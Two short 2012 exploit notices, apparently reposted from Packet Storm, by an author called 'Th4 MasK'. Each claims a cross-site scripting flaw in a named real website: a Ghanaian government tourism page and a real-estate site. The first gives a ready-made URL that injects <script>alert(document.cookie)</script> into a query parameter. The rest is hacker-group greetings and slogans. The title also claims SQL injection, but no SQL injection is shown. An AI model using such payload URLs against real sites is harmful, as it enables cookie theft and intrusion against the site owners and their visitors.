Ghana50.Gov Cross Site Scripting / SQL Injecktion

#######################################################

~ Exploit Title:  Ghana50.Gov Cross Site Scripting 

~ Author: Th4 MasK 

~ Software Link: http://www.ghana50.gov.gh/

~ Date : 27.06.2012 

~ Platform : Php 

# Tested On : Windows 
 
########################################################

~ Demo Site :

~ http://www.ghana50.gov.gh/tourism/index.php?op=getAshantisiteInfo&id=<script>alert(document.cookie)</script>

########################################################

~ Greetz: http://th4mask.blogspot.com ~ DarkdevilZ.in

########################################################
Special Thanks : Mugair  
######################################################## 

http://packetstormsecurity.org/files/114356/Ghana50.gov.gh-Cross-Site-Scripting.html 

Iberianestates.com Cross Site Scripting

########################################################

~ Exploit Title: * iberianestates.com Cross Site Scripting *~

~ Author: Th4 MasK

~ Contact to ; th4_mask[at]windowslive.com ~

~ # Software Link: http://www.iberianestates.com

~ Date : 03.03.2012 ~

~ Platform : Php ~

########################################################

~ Demos Site :

~ http://www.iberianestates.com/details.php?id=xss
########################################################

~* Virüslerden Önce Akil Var.
########################################################

~* Ne Kadar Efendi Olursan Ol Hayat O Kadar Züppe.
########################################################

~* Bilinmezlik DiyarinDan
########################################################

~* Olmassa Olmazimdir. Bazi seyler.
########################################################

~* Email:th4_mask[at]windowslive.com~

~ Greetz: http://th4mask.blogspot.com ~ DarkDevilZ.iN

########################################################

~ Darkness Devil,DeaDSLayeR,MuHuR,Evillord

########################################################

http://packetstormsecurity.org/files/110424/Iberianestates.com-Cross-Site-Scripting.html